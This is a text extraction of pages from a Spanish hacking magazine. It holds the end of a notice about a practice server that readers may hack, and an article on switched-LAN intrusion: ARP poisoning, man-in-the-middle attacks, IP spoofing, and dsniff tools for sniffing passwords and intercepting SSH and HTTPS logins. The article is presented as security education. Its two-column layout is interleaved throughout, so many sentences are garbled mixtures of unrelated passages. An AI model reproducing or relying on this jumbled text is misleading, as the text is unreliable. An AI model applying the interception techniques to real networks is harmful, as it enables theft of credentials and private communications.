dará una idea de cómo funciona esto de hackear Webs ;) 3.- ¿Puedes decirme algo más del Servidor? 4.- IDEAS Y RECOMENDACIONES: 3.1 – Discos Duros y Raíz del Sistema Operativo Cuando accedas a nuestro servidor mediante el CODE / DECODE El Servidor tiene tres discos duros: BUG, crea un directorio con tu nombre (el que mas te guste, no * La unidad c: --> Con 2 GB nos des tu DNI) en la unidad e: Ya sabes que no borraremos nada * La unidad d: --> Con 35 GB (Raíz del Sistema) (excepto el WAREZ) de este disco duro y a partir de ese momento * La unidad e: --> Con 40 GB (Disco de los usuarios) podrás utilizar ese directorio para hacer tus prácticas. Ya sabes, subirnos programitas y practicar con ellos :) El DISCO C: no tiene nada interesante, es una simple unidad de arranque alternativo. Puedes crearte tu directorio donde quieras y en el disco duro que quieras, no es necesario que sea en e:mellamojuan. Tienes total El DISCO D: es Raíz del Sistema. Eso significa que el Windows Advanced libertad!!! Una idea es crearlo, por ejemplo, en Server está instalado en esa unidad (la unidad d:) y concretamente d:winntsystem32defaultmellamojuan (ya irás aprendiendo que en el directorio por defecto winnt cuanto mas oculto mejor :) **Pero recuerda que solo respetaremos Por lo tanto, la raíz del sistema está en d:winnt el contenido del DISCO E ** El DISCO E: es donde los usuarios pueden crearse un directorio propio Es posiblemente la primera vez que tienes la oportunidad de donde guardar sus herramientas de Hacking. Está claro que no podrás investigar en un servidor como este sin cometer un delito (nosotros crear directorios ni nada si no lo hackeas, ya sabes, repasa los números te dejamos y por lo tanto nadie te perseguirá). Aprovecha la 2 y 3 de esta publicación. oportunidad!!! e investiga mientras dure esta iniciativa (que esperamos dure largos años). NOTA: TODO EL CONTENIDO DEL DISCO E SERÁ RESPETADO POR LOS ADMINISTRADORES DEL SERVIDOR. Como ya te puedes imaginar, el Servidor es brutalmente hackeado por los usuarios MUY IMPORTANTE!!!!! Por favor, no borres archivos del Servidor si no sabes y para que siga en funcionamiento LO RESTAURAMOS CADA SEMANA. Esto significa que cada exactamente lo que estás haciendo ni borres las carpetas de los demás usuarios. semana los discos C y D son borrados y el Sistema Operativo es instalado de nuevo. El disco E Si haces eso, lo único que consigues es que tengamos que reparar el sistema es para los lectores y salvo que ocurra un desastre NUNCA SE BORRA, puedes guardar allí tus servidor y, mientras tanto, ni tu ni nadie puede disfrutar de él. Es una tontería utilidades. **Se advierte que si subes WAREZ al Servidor, tendremos que borrarlo. Esa es una intentar “romper” el Servidor, lo hemos puesto para que disfrute todo el mundo actividad ILEGAL y podemos buscarnos la ruina.** sin correr riesgos, para que todo el mundo pueda crearse su carpeta y practicar nuestros ejercicios. En el Servidor no hay ni Warez, ni Programas, ni claves, ni nada 3.2 – Raíz del Internet Information Server (IIS) de nada que “robar”, es un servidor limpio para TI, por lo tanto cuídalo un poquito El IIS, Internet Information Server, es el software Servidor de páginas y montaremos muchos más :) Página 28 PC PASO A PASO Nº 11
  • 29. INTRUSIoN EN REDES DE AREA LOCAL. LA PESADILLA DE TODO ADMINISTRADOR - Ten cuidado cuando leas este articulo, Si hasta ahora te sentias medianamente seguro detras de un firewall y/o cuando establecias conexiones seguras por SSL, a partir de este momento dejarás de estarlo. - BIENVENIDO A LA REALIDAD: La Seguridad NO EXISTE !!!. - N O T A D E H A C K X C R A C K - E n e l fo r o d e n u e s t ra We b ( w w w. h a c k xc ra c k . c o m ) , s e p i d e q u e p u b l i q u e m o s m e n o s c u r s o s y m á s h a c k ; p e r o l o s c u r s o s s o n i m p o r t a n t e s p a ra q u i e n e s s e acercan por primera vez a este mundo nuestro (la informática y en particular la seguridad informática). Durante el cierre de la edición nos llegó este excelente artículo y no pudimos e v i t a r e l p u b l i c a r l o. N O TO D O E L M U N D O va a e n te n d e r l o, n o, n o e s q u e s e a u n t e x t o “ s o l o p a ra a va n z a d o s ”, p e r o p o d e m o s c o n s i d e ra r l o c o m o u n t e x t o de dificultad media... este es el primer texto que publicamos “a conciencia” de que algunos no serán capaces de exprimir el 100% de su contenido. S i h a s s e g u i d o e s t a p u b l i c a c i ó n d e s d e e l p r i n c i p i o, h a s e s t u d i a d o t o d o s l o s cursos (eso implica que ya te has familiarizado un poco con LINUX) y eres de los que no se dan por vencidos... sabemos que podrás asimilar este artículo. S i e r e s d e l o s q u e “ s o l o l e e ” p e r o n o p ra c t i c a , e s t a m o s s e g u r o s d e q u e t e sorprenderán las próximas páginas. L a i n t e n c i ó n d e e s t e m o n ó l o g o e s h a c e r t e l l e g a r n u e s t ra p r e o c u p a c i ó n p o r I N T E N TA R L L E G A R A TO D O E L M U N D O, s i n i m p o r t a r e l n i ve l i n fo r m á t i c o q u e posea. Tenemos textos que no publicamos porque serían incomprensibles para la mayoría de los lectores, estamos incluso planteándonos publicarlos en la We b d i r e c t a m e n t e p o r q u e n o s a b e m o s s i s e r í a n o n o a c e p t a d o s e n m e d i o impreso. Os proponemos que en el FORO (con ya casi 2500 miembros) nos ofrezcas tu opinión sobre lo complejo (o no) de este artículo, si has sido (o no) capaz de seguirlo o por el contrario dista mucho de tu nivel actual. NECESITAMOS TUS OPINIÓN y ya hemos demostrado que, poco a poco, vamos m o d i f i c a n d o l a r e v i s t a e n f u n c i ó n d e l o q u e n o s p r o p o n e s . B u e n o, a g a r ra t e fuerte y adelante !!! PC PASO A PASO Nº 11 Página 29
  • 30. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL 1.- NOTA DEL AUTOR. En cuarto lugar, repetir el “sermón de siempre”. Este artículo, ha sidoescrito con la perspectiva Hola a todos de nuevo. de mejorar el conocimiento sobre como vuestros Este es mi segundo artículo para esta revista sistemas pueden ser atacados con el fin de que y al igual que en el anterior me gustaría podáis estar prevenidos. EN NINGUN caso comentar unos cuantos puntos importantes animo, apoyo, realizo, comulgo ni colaboro con antes de entrar de lleno con el tema que hoy ningún tipo de acto delictivo. nos atañe... Tened en cuenta que el abuso de las En primer lugar quiero dejar claro que este herramientas y técnicas expuestas en este artículo trata de profundizar en el concepto de artículo puede resultar ilegal y, cuando menos, intrusión en redes (especialmente redes atentar contra el derecho a la intimidad y conmutadas). Ver como es esto posible y privacidad de personas y/o entidades. Allá cada conocer sus posibilidades. No pretende uno con su conciencia... ser una guía definitiva, aunque sí intento estimularos para que penséis en nuevas formas Finalmente, y también como es de rigor, quisiera de aplicar estas técnicas... Si vosotros no lo dar el mérito a quien lo tiene. Gracias, como hacéis para tratar de mejorar la seguridad de siempre, a Breos por su inestimable colaboración. vuestros sistemas, alguien lo hará para tratar Para este artículo concreto hemos realizado las de burlarla. prácticas entre los dos, uniendo nuestras redes y conocimientos y divirtiéndonos juntos con los Por ello debo enfatizar y repetir que mi intención resultados. Gracias a Dug Song, Gerald Combs NO es que sepáis como burlar la seguridad de (y colaboradores), Laurent Licour & Vincent una red para aprovecharos fraudulentamente Royer, y tantos otros de cuyos documentos, de ello. Lo que cada uno haga con esta ideas y herramientas me he nutrido desde hace información será sólo y exclusivamente tiempo, y que han dado pié a este artículo. responsabilidad suya. 2.- UNA PINCELADA DE TEORÍA. En segundo lugar dejar clara una cosa. Los Sé que a algunos (pocos, espero) de los que me conocen saben que tengo especial que leáis esto estaréis poco (o nada) predilección por Linux como Sistema Operativo. interesados en los fundamentos teóricos. Al igual que pasaba con el artículo acerca del Lo mejor que podéis hacer, si ese es vuestro reverse shell (en concreto la parte del túnel caso, es pasar al siguiente punto, pues este os HTTP), algunas de las cosas propuestas en aburrirá. Lo mismo para aquellos de vosotros este documento se describirán tan sólo bajo que ya conozcáis la teoría relacionada con Linux. Si tu interés como lector se centra en redes ethernet y tráfico ARP. También el mundo Windows, este artículo aun te se que una revista de estas características será válido... Pero deberás encontrar por ti no pasa por ser un manual sobre teoría de mismo la forma de llevar a cabo ciertas técnicas. redes... Sin embargo, en mi modesta opinión, es importante conocer los principios En tercer lugar, y como siempre, recordaros teóricos que permiten burlar la seguridad que disponéis de muchísima documentación de una red... O al menos acercarnos a en Internet que podéis y debéis usar como ellos. Así pues, trataremos de acercarnos fuente de investigación, al margen de esta ahora a los conceptos de ARP y “MAC Address” revista y de este artículo en concreto... y su importancia en redes Ethernet... Vamos allá ;). Página 30 PC PASO A PASO Nº 11
  • 31. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL 2.1.- ¿Qué es y para qué sirve la MAC Address? ! Po d r í a m o s e n t ra r. . . Todo equipo conectado en una LAN de tipo Ethernet/IP necesita dos direcciones: La Podríamos entrar ahora en detalles acerca de cómo están dirección IP (que lo identifica dentro de esa formadas las redes, las distintas capas o niveles que forman LAN) y una dirección denominada “MAC una red y que elementos componen cada una de esas capas... Address”. Pero eso alargaría innecesariamente este artículo, y es materia para otro documento en si mismo. En teoría, esta MAC Address es “única en el mundo” para ese dispositivo, dado que está formada por un conjunto de números y seriales Por lo tanto, toda dirección IP debe ser traducida que identifican al dispositivo y al fabricante. a una dirección MAC para poder mantener el No quiero extenderme demasiado en la forma tráfico Ethernet necesario sobre el que fluirá el en que está formada una MAC Address... Baste tráfico IP. En otras palabras... En una red decir que es imprescindible para que en una Ethernet los equipos se hablan entre sí usando red Ethernet se puedan enviar y recibir los las direcciones MAC de cada uno. “frames” de datos entre los diferentes dispositivos que pertenecen a dicha Ethernet. Nos encontramos ahora ante un problema: A En otras palabras: En una red Ethernet cada la hora de tratar de enviar información a un equipo se distingue de los demás por su dispositivo u ordenador, lo único que sabemos MAC Address, que lo identifica de forma sobre él es su dirección IP. ¿Cómo obtenemos única. su dirección MAC? Aquí entra en juego el protocolo ARP (“Address Resolution Protocol” Por otro lado, la dirección IP forma parte de o Protocolo de Resolución de Direcciones). un protocolo de nivel superior, que es independiente de la tecnología de red usada ARP funciona enviando paquetes “Arp request” por debajo (en nuestro caso Ethernet). A cada (solicitudes ARP). Estas solicitudes tienen forma dispositivo dentro de la red se le puede asignar de pregunta que podríamos traducir como: una dirección IP, que también debe ser única dentro de su red. Es importante notar que, por “¿Tienes tú la IP xxx.xxx.xxx.xxx?... Si la tienes... norma general, esta dirección IP es virtual (se ¿Cuál es tu dirección MAC?”. puede asignar cualquiera a cualquier equipo), al contrario de la dirección MAC que Esta pregunta se lanza a TODOS los equipos tradicionalmente es una dirección fija asignada de una red (broadcast). Una vez responde el “de fábrica” a cada dispositivo (aunque en equipo adecuado (mediante un paquete “ARP ciertos Sistemas Operativos es posible modificar reply” que dirá “Sí, yo tengo esa IP y mi dirección la dirección MAC a la que responderá tu tarjeta MAC es ésta”), ya disponemos de los datos de red... Pero ese es otro tema). necesarios para iniciar el tráfico de red con dicho equipo o dispositivo. IP y Ethernet deben trabajar en conjunción. No se puede mantener tráfico IP sin que exista 2.2.- La tabla ARP. una capa inferior de red que “lleve” los paquetes Como se puede observar, cada vez que IP. En este caso, dicha capa está formada por queramos enviar o recibir un paquete de otro una red Ethernet, que fragmenta los paquetes equipo necesitaremos realizar un “broadcast” IP en “frames” Ethernet, agregándole unas y requerir a todos los equipos de la red con cabeceras propias. una petición ARP request... Esta tarea puede PC PASO A PASO Nº 11 Página 31
  • 32. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL resultar pesada y, sin duda, genera tráfico de simplemente descarta dicho paquete. Pero la red innecesario. Para solventar este problema, mayoría de las tarjetas de red traen incorporada los S.O. disponen de una TABLA CACHE DE una funcionalidad necesaria para el análisis de “ARP REPLY”. redes y detección de problemas (como cuellos de botella): El modo promiscuo. Una vez que La tabla contiene pares de direcciones IP y una tarjeta entra en modo promiscuo, acepta MAC, más o menos de la siguiente forma: TODOS los paquetes que le llegan, vayan destinados a ella o no. De esa forma, es posible IP MAC espiar todo el tráfico generado en una red... 192.168.0.1 00:04:76:25:5F:A3 ... Esta caché funciona como todas las caches, manteniendo las últimas entradas (respuestas) que hemos recibido de otros equipos de la red. Cada vez que a un equipo le llega un “ARP reply” de otro equipo, actualiza su tabla caché con los pares IP/MAC recibidos. De esta forma, si dentro de un determinado límite de tiempo necesitamos volver a comunicar con ese equipo, no tendremos que preguntar a todos “¿Quién tiene esta IP y cual es su MAC Address?”, bastará con que busquemos en nuestra tabla ARP una entrada equivalente a dicha IP. Si aparece allí ya no será necesario preguntar, pues nuestro Sistema extraerá la MAC de nuestra tabla. Estas tablas ARP son el objetivo del “envenenamiento ARP” (ARP poisoning) para Pero entonces llegaron los SWITCHES. Las redes conseguir la “suplantación ARP” (ARP spoofing), formadas por switches se conocen como redes conceptos en los que entraremos de lleno “conmutadas”. Veamos por qué... Un Switch es enseguida. un dispositivo capaz de generar y mantener unas tablas en las que relaciona direcciones 2.3.- Diferencia entre redes compartidas MAC con números de puerto en el switch (un y redes conmutadas (HUBS vs puerto en un switch se puede ver como una SWITCHES) entrada rj-45 a la que llega un único cable de Tiempo ha, esnifar una red era relativamente red). Las tablas podrían ser similares a la sencillo. La mayoría de las redes eran siguiente: “compartidas” (shared) formadas por HUBS. Con esa arquitectura, los paquetes viajan por MAC PUERTO todos los hilos de una red, llegando a todas 00:04:76:25:5F:A3 2 las tarjetas de red por igual. Es tarea de la 00:04:76:22:3E:AD 1 tarjeta el decidir si se queda o no con un ... paquete concreto. Si dicho paquete lleva codificada su dirección MAC, la tarjeta se da Con esta información, y asumiendo que a cada por aludida y acepta el paquete. Si no... puerto del switch se conecte un único ordenador Página 32 PC PASO A PASO Nº 11
  • 33. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL (tarjeta) o dispositivo, el tráfico ya no llega a Consiste en enviar paquetes “ARP reply” a una todos los equipos de la red: Tan sólo al equipo máquina de forma que en su tabla ARP figuren con la MAC de destino adecuada. Es decir, los entradas falsas. Supongamos el siguiente Switches saben POR QUE CABLE deben llegar ejemplo: a cada tarjeta de red, con lo que los paquetes ya NO se envían a todas las tarjetas de red, Maquina UNO: sólo a la de destino... parecía que habían hecho - IP: 192.168.0.1 realidad el famoso eslogan: “El esnifar se va - MAC: 00:04:76:22:3E:AD a acabar”... Maquina DOS: - IP: 192.168.0.2 - MAC: 00:04:75:25:3F:AE Maquina ATACANTE: - IP: 192.168.0.10 - MAC: 00:04:76:34:2A:2F En condiciones normales, la tabla ARP de la Máquina UNO sería similar a la siguiente: IP MAC 192.168.0.2 00:04:75:25:3F:AE 192.168.0.10 00:04:76:34:2A:2F El tráfico entre Máquina UNO y Máquina DOS fluiría tal y como se observa en el gráfico 2.4.- ARP SPOOFING (o suplantación siguiente. ARP) Fue entonces cuando oí hablar por primera vez de Dug Song y su dsniff. No sé si fue el primero... Pero fue el primero que yo conocí. La teoría era simple: ¿Por qué no usar el protocolo ARP para “engañar” a otras máquinas haciéndoles creer que una IP concreta está en mi MAC Address? O en otras palabras: Vamos a envenenar la tabla caché ARP de una máquina para suplantar una dirección MAC, añadiendo una entrada que diga que la IP de otra máquina se corresponde con la MAC Address de mi máquina. Gráfico 3 El procedimiento básico es sencillo de entender. PC PASO A PASO Nº 11 Página 33
  • 34. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL Mediante arp spoofing podemos conseguir Se hacía posible, nuevamente, esnifar tráfico envenenar esta tabla caché (la de Máquina que no saliese de nuestra máquina ni estuviese UNO) para que presente este aspecto: destinado a ella... “El Retorno del sniffing” ;) IP MAC 3.- DISTINTAS FORMAS DE APROVECHAR 192.168.0.2 00:04:76:34:2A:2F EL ENVENENAMIENTO ARP. 192.168.0.10 00:04:76:34:2A:2F Y ya estamos de lleno en el tema. Sabemos que podemos engañar a un equipo haciéndole Como vemos, asociada a la IP de la Máquina creer que la dirección IP a la que quiere enviar DOS está la dirección MAC de la Máquina un paquete está ligada a una MAC Address ATACANTE (nuestra máquina). De esa forma, que no se corresponde con la real (p. Ej. La cada vez que la Máquina UNO trate de enviar de nuestra máquina). Esto nos muestra un un paquete a la Máquina DOS, ¡en realidad lo sinfín de posibilidades... estará enviando a la Máquina ATACANTE! Podemos realizar ataques DoS contra una Incluso podemos hacer lo mismo con la caché máquina (simplemente inundando su caché de la Máquina DOS para que el tráfico devuelto con MAC falsas), o incluso contra toda la red. pase también a través de Máquina ATACANTE. La tabla caché de Máquina DOS quedaría como También podemos intentar un ataque de tipo sigue: MAC Off (MAC flooding, en realidad), inundando la red de muchas peticiones falsas a toda IP MAC pastilla, y consiguiendo que ciertos switches 192.168.0.1 00:04:76:34:2A:2F entren en modo “hub” (entran en una especie 192.168.0.10 00:04:76:34:2A:2F de “modo a prueba de fallos”, si queréis verlo así), permitiéndonos esnifar todo el tráfico Esto haría que el tráfico entre Máquina UNO como si estuviésemos en una red compartida y Máquina DOS fluyese como se observa en (shared). Sin embargo, esta técnica resulta el siguiente gráfico. muy visible y no funcionará con todos los switches... En mi experiencia, he obtenido resultados demasiado erráticos como para recomendar su uso en la práctica. También podríamos intentar el hijacking de una conexión, el “inundar” una red para “comernos” su ancho de banda usando las direcciones de “broadcast”, o, incluso, para algo mucho más legítimo como mantener un sistema de alta disponibilidad (en el momento en que cae el sistema principal, el sistema secundario podría realizar una suplantación ARP para hacer creer a todos los PCs que él es el sistema principal y continuar dando el servicio), si bien no es una práctica recomendada ni demasiado viable en redes grandes o críticas, os aseguro que funciona Gráfico 4 perfectamente. Página 34 PC PASO A PASO Nº 11
  • 35. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL Pero nos vamos a centrar en dos opciones que considero como las más interesantes: el ! Se debe tener... MiM (“Man in the Middle” u “Hombre en el Medio”... También denominado a veces Se debe tener en cuenta que el tiempo de vida en la caché “Monkey in the Middle” o “Mono en el es limitado... Además, la máquina suplantada responderá Medio”) y el IP Spoofing (suplantación con ARP “reply” cada vez que CUALQUIER máquina de de IP). la red pregunte su IP, con lo que nuestra entrada falsa se vería “pisada” por una entrada verdadera (recordemos que 3.1.- MiM: Profundizando. las respuestas ARP se envían en broadcast a todas las ¿Qué pasa cuando suplantamos una dirección máquinas de la red). Existen dos maneras de minimizar MAC? Veámoslo con 3 máquinas: este problema. La primera, y la más usada, consiste en hacer “spamming” de respuestas ARP (ARP reply). Es Tenemos el ejemplo anterior (Maquina UNO, decir, “envenenar” constantemente la caché del equipo Máquina DOS y Máquina ATACANTE). La atacado a intervalos regulares. La inmensa mayoría de los configuración de la tarjeta de red de cada programas utilizan esta técnica. La segunda... En fin, la máquina es la expuesta anteriormente: segunda es algo más compleja. La dejaremos para más adelante en este mismo artículo. Maquina UNO: - IP: 192.168.0.1 - MAC: 00:04:76:22:3E:AD Bien... Llegados a este punto lo que ocurrirá es que TODO el tráfico que la Máquina UNO Maquina DOS: deba dirigir a la Máquina DOS ¡Llegará a nuestra - IP: 192.168.0.2 Máquina ATACANTE!... pero NO ocurrirá lo - MAC: 00:04:75:25:3F:AE mismo con el tráfico que envíe la Máquina DOS a la Máquina UNO. Su tabla caché contendrá Maquina ATACANTE: el valor de la MAC auténtica de la Máquina - IP: 192.168.0.10 UNO, dado que, hasta ahora, SOLO hemos - MAC: 00:04:76:34:2A:2F envenenado la caché de la Máquina UNO. La Máquina ATACANTE envenena la caché de Además, es muy importante notar que, estando la Máquina UNO, diciéndole que la IP las cosas así, la Máquina UNO estará bajo un de la Máquina DOS tiene la MAC de la ataque DoS en lo que a sus conexiones contra máquina ATACANTE. La tabla interna la Máquina DOS se refiere (el tráfico nos llega de la Máquina UNO quedaría como a nosotros, pero NO a la máquina DOS). sigue: Visto todo esto ya tenemos algunas cuantas IP MAC cosas más claras: 192.168.0.2 00:04:76:34:2A:2F - Si queremos realizar un ataque de MiM (Hombre en el Medio), necesitamos que el tráfico entre Máquina UNO y Máquina DOS pase ! Podemos ver... a través de nosotros, pero llegue a sus destinos (el tráfico NO debe interrumpirse). Es decir, Podemos ver el contenido de la tabla ARP de nuestro equipo debemos poder “rutar” o reenviar el tráfico que tecleando el comando: arp –a, tanto en Linux como en no vaya dirigido a nuestra dirección IP (para Windows. que ambas máquinas puedan conectarse entre sí pasando a través de nosotros). PC PASO A PASO Nº 11 Página 35
  • 36. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL - Debemos envenenar la caché de Máquina UNO diciendo que la IP de Máquina DOS corresponde a nuestra MAC Address. - Debemos envenenar la caché de Máquina DOS diciendo que la IP de Máquina UNO corresponde a nuestra MAC Address (si queremos que el tráfico que fluye de DOS -> UNO pase por nosotros... muchas veces NO es necesario). - Finalmente, deberemos poder hacer “algo” con ese tráfico que está atravesando nuestra máquina. ! Sí aplicamos... Si aplicamos todos estos puntos estaremos exactamente en Gráfico 5 la situación que mostrábamos en el Gráfico 4. Pues a nuestro alcance tenemos una forma de saltarnos estas protecciones incluso con las Solventadas estas cuestiones habremos llevado máquinas con las IP “reales” encendidas, a cabo con éxito un ataque de MiM. Veremos conectadas y en funcionamiento. como llevar este ataque a la práctica un poco más adelante... De momento espero que hayáis Todos los que se hayan metido a fondo en el comprendido el concepto. tema del IP Spoofing (Suplantación de IP) saben que, en general, se trata de un proceso tedioso 3.2.- IP Spoofing: Profundizando. y complejo. Casi siempre trabajas “a ciegas”, Por otro lado... Hemos conseguido que una dado que puedes “camuflar” tus paquetes de máquina concreta “piense” que la dirección IP salida para que lleven codificada la IP de otra de otra máquina concreta está en nuestra máquina, pero las respuestas NO llegarán a tu máquina. ¿Cómo podemos aprovechar esto? máquina. Lo primero que se viene a la cabeza es: IP Spoofing o Suplantación de IP. Una forma de solventar esto consiste en mantener un sniffer que vaya guardando todo Todos conocemos equipos cuyo acceso está el tráfico de red mientras realizas el ataque. restringido a ciertas direcciones IP. O proxys Cuando has acabado, siempre puedes abrir los que sólo dejan conectarse a Internet a archivos logeados y “discriminar” aquel tráfico determinadas direcciones IP. O Cortafuegos que se correspondía con las respuestas a tus que permiten determinado tráfico tan sólo si peticiones pero que no iba dirigido a tu dirección le llega de ciertas IP... IP (sino a la suplantada). Esta solución NO es simple, y a menudo obliga a crear programas Nos encontraremos en un caso parecido al del concretos tan sólo para analizar, en batch, toda gráfico 5. esta información... Pero nunca “on the fly”. Página 36 PC PASO A PASO Nº 11
  • 37. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL Otro problema asociado tradicionalmente al IP dedicada a IP Spoofing resulta trivial haciéndola Spoofing consiste en que, generalmente, se desde Linux. utilizaban programas concretos para llevar a cabo esta ardua tarea, no teniendo la posibilidad Como herramienta básica elegí el viejo y querido de usar “cualquier” aplicación habitual de tu paquete dsniff. Con “dsniff” me estoy refiriendo PC para que saliese con una IP diferente... a un conjunto de herramientas que vienen en un mismo “paquete” o “suite”... Dicho paquete Pero eso ha cambiado... Y un poco más adelante hereda el nombre de una de las herramientas: veremos ¡cómo podemos suplantar la dirección un sniffer de contraseñas llamado dsniff. Algunas IP de una máquina de nuestra red y hacer que de las razones por las que me he decidido por cualquier aplicación de nuestro PC utilice esa esta herramienta son: IP! - En primer lugar, esto es un artículo de Nos encontraremos en una situación similar a “proof of concept”, como casi siempre que la del siguiente gráfico. escribo algo. Es decir, trato de explicar en profundidad un concepto, más que centrarme en el uso (o abuso) de una herramienta. Considero que la “suite” “dsniff” permite entender perfectamente TODO el proceso, punto por punto. - En segundo lugar, se trata de un paquete de herramientas que se pueden ejecutar de forma independiente y todas desde la línea de comandos... Esto os permitirá automatizar determinadas tareas concretas y potenciarlas mediante su uso desde un archivo de script (escrito en shell script, perl, python o el lenguaje que más os guste). - En tercer lugar... Existen demasiadas herramientas a las que atender. No tendría sentido por mi parte utilizar una que estuviese enfocada a algo concreto... Prefiero algo de uso un poco más... general. Con dsniff podremos Gráfico 6 hacer cosas que otras herramientas no nos permiten... O usar los programas del paquete dsniff para combinarlos con otro tipo de 4.- NUESTRA HERRAMIENTA BÁSICA herramientas. PARA INTRUSIÓN EN REDES: DSNIFF - En cuarto lugar, y para los usuarios de A la hora de escribir este artículo, se me Windows exclusivamente, Vic_Thor ha colgado plantearon varias dudas con respecto a que un EXCELENTE pdf acerca del uso del CAIN y herramientas debía utilizar... Me decanté, su potencial como sniffer de claves en redes inicialmente, por Linux como S.O. preferido. conmutadas (que es a lo que Caín está Las razones son tres: En primer lugar, lo prefiero. orientado: al robo de contraseñas). Podéis En segundo lugar, la mayoría de las encontrarlo en los foros de HackxCrack. herramientas las he usado siempre en ese - En quinto lugar... Como homenaje. Sistema Operativo. En tercer lugar... La parte Desde que descubrí dsniff hace unos años se PC PASO A PASO Nº 11 Página 37
  • 38. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL abrió ante mí un mundo nuevo de contraseñas. Puede esnifar contraseñas de FTP, posibilidades... ¿Qué queréis? Le tengo cierto Telnet, HTTP, POP, NNTP, IMAP, SNMP, LDAP, cariño... En el fondo soy un nostálgico. Y sigue Rlogin, NFS, SOCKS, X11, IRC, AIM, CVS, ICQ, siendo una herramienta perfectamente válida Napster, Citrix ICA, Symantec pcAnywhere, NAI y muy potente. Sniffer, Microsoft SMB, y Oracle SQL*Net. - Y por último, pero no menos - dnsspoof: Permite falsificar respuestas importante... Porque me sale de los c*j*n*s DNS para ataques basados en nombres de hosts (cielos con la censura... quería decir “cojones” (y para determinados ataques MiM que veremos ;) ). Si uno de vosotros escribe un artículo que más adelante). Muy recomendable conocerlo ;) elija la herramienta que le venga en gana. - filesnarf: captura y guarda ficheros Para los que estéis interesados en explorar pasados a través de NFS. La mayoría de vosotros otras posibilidades en redes conmutadas, os no os encontrareis recursos remotos montados recomendaría que echaseis un ojo a programas sobre NFS en vuestra red, pero... Nunca se gratuitos (algunos Open Source) como arp-sk sabe. (también en versión Windows), hunt, ettercap, - mailsnarf: Permite capturar todo el Cain (si aun no lo habéis pillado ya estáis tráfico de correo entre las máquinas que hemos tardando... Echadle un ojo también al Abel ;) ) suplantado (o de toda la red si la red es y, de manera obligatoria, ethereal. Ethereal compartida). Esto incluye tráfico SMTP y POP. dispone de versiones para varios S.O., incluidos Guarda los resultados en formato mbox (para Windows y Linux. Dispone de un excelente poder leer los correos con cualquier cliente de entorno gráfico, aunque pueden aprovecharse correo estándar). muchas de sus posibilidades con parámetros - macof: Inunda la red local con MAC desde la línea de comandos. Para mi es de los Address aleatorias. Esto hace que algunos mejores analizadores de red que he visto y... switches entren en modo “hub” permitiendo el ¡Es Open Source! A mayores, podréis combinarlo esnifado de toda la red (como comentamos con tcpdump (también Open Source) y tendréis antes). una enorme capacidad de análisis de tráfico - msgsnarf: Registra determinados en vuestra red. mensajes (según el patrón especificado) de las sesiones chat abiertas con los programas AOL Pues lo dicho... Usaremos los programas que Instant Messenger, ICQ 2000, IRC, MSN vienen con el paquete dsniff para demostrar Messenger o Yahoo Messenger. los conceptos explicados en este artículo. No - Sshmitm: reenvía (proxy) y esnifa los explicaré todos en profundidad, porque lo tráfico SSH redirigido hacia nuestra máquina cierto es que es trivial hacerse con ellos y algo por dnsspoof, capturando claves SSH, y tendréis que hacer por vuestra cuenta... Pero permitiendo el hijacking de sesiones interactivas. los repasaremos por encima antes de llevar a Sólo soporta SSH versión 1 (afortunadamente... la práctica varios “ataques” MiM e IP Spoofing. una buena razón para usar SSH2 ;) ). Esta es una de las herramientas más “peligrosas” del - arpspoof: Se encarga de enviar los paquete. paquetes “arp reply” falsos a la máquina que - webmitm: similar a sshmitm, hace de le indiquemos como “target” para suplantar la proxy transparente y esnifa conexiones HTTP dirección MAC de la segunda máquina que le y HTTPS redirigidas a nuestra máquina usando indiquemos. Esta será nuestra herramienta de dnsspoof. Sus posibilidades SSL asustan, envenenamiento ARP en redes conmutadas. permitiendo capturar la mayoría de las claves - dsniff: Un simple sniffer de en formularios y web seguras (p. ej. HotMail, Página 38 PC PASO A PASO Nº 11
  • 39. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL pa los “adictos” a estas cosas :P ). Otra una versión portada a Windows (aunque no sé herramienta que “acojona”. si estará completa o si habrán portado todas - sshow: (Nuevo, sólo disponible en la las herramientas). versión Beta... No lo he probado, pero su descripción parece interesante). Permite analizar A efectos de este artículo revisaremos algunas tráfico SSH (versiones 1 y 2) como intentos de de ellas, aprendiendo como sacarle partido. autenticación, longitud de las passwords en sesiones interactivas, longitud de los comandos, Y ya vamos a comenzar con algunos ejemplos... etc... Su aplicación no es tan simple como sshmitm, pero no deja de ser impresionante 5.- Ataque MiM. La práctica. dado que suministra información acerca de En este momento ya conocemos la teoría que conexiones vía SSH2. rodea a toda esta parafernalia... Vale, no somos - tcpkill: Permite matar conexiones ya unos “expertos”... Pero tenemos una idea general establecidas. Tiene múltiples utilidades, suficiente para entender lo que vamos a hacer pudiendo usarse, por ejemplo, para matar una sin limitarnos a realizar un “copiar y pegar” y sesión telnet establecida por un usuario antes “que sea lo que Dios quiera”. de que empezásemos a esnifar, obligándolo a empezar de nuevo (y a meter su clave ;) ). Partimos de la base de que estamos en una Admite filtros al estilo tcpdump. red conmutada (formada por switches). Hace - tcpnice: Similar a tcpkill, pero en lugar no muchos años, los hubs eran de uso extendido, de “matar” conexiones, lo que hace es sobre todo por motivos económicos. Pero ralentizarlas. actualmente los precios de los switches son - urlsnarf: Registra todas las referencias completamente asequibles, por lo que la mayoría a URL existentes en el tráfico esnifado. Gran de las redes que os encontrareis estarán utilidad para conocer que webs han sido o formadas así. están siendo visitadas desde un equipo. - webspy: Y esto es una... umm... Lo primero que deberéis hacer es bajaros e “frivolidad” ;). Webspy os permitirá ver en instalaros el paquete dsniff completo de su vuestro navegador lo mismo que esté viendo página web oficial: la máquina esnifada en el suyo “on the fly”. Lo que hace es capturar las URL esnifadas “on http://naughty.monkey.org/~dugsong/dsniff/ line” y pasárselas a vuestro navegador Netscape en el momento. Es decir: Si él navega, ambos navegáis por los mismos sitios y a la vez sin ! A n t e s d e i n s t a l a r. . . que 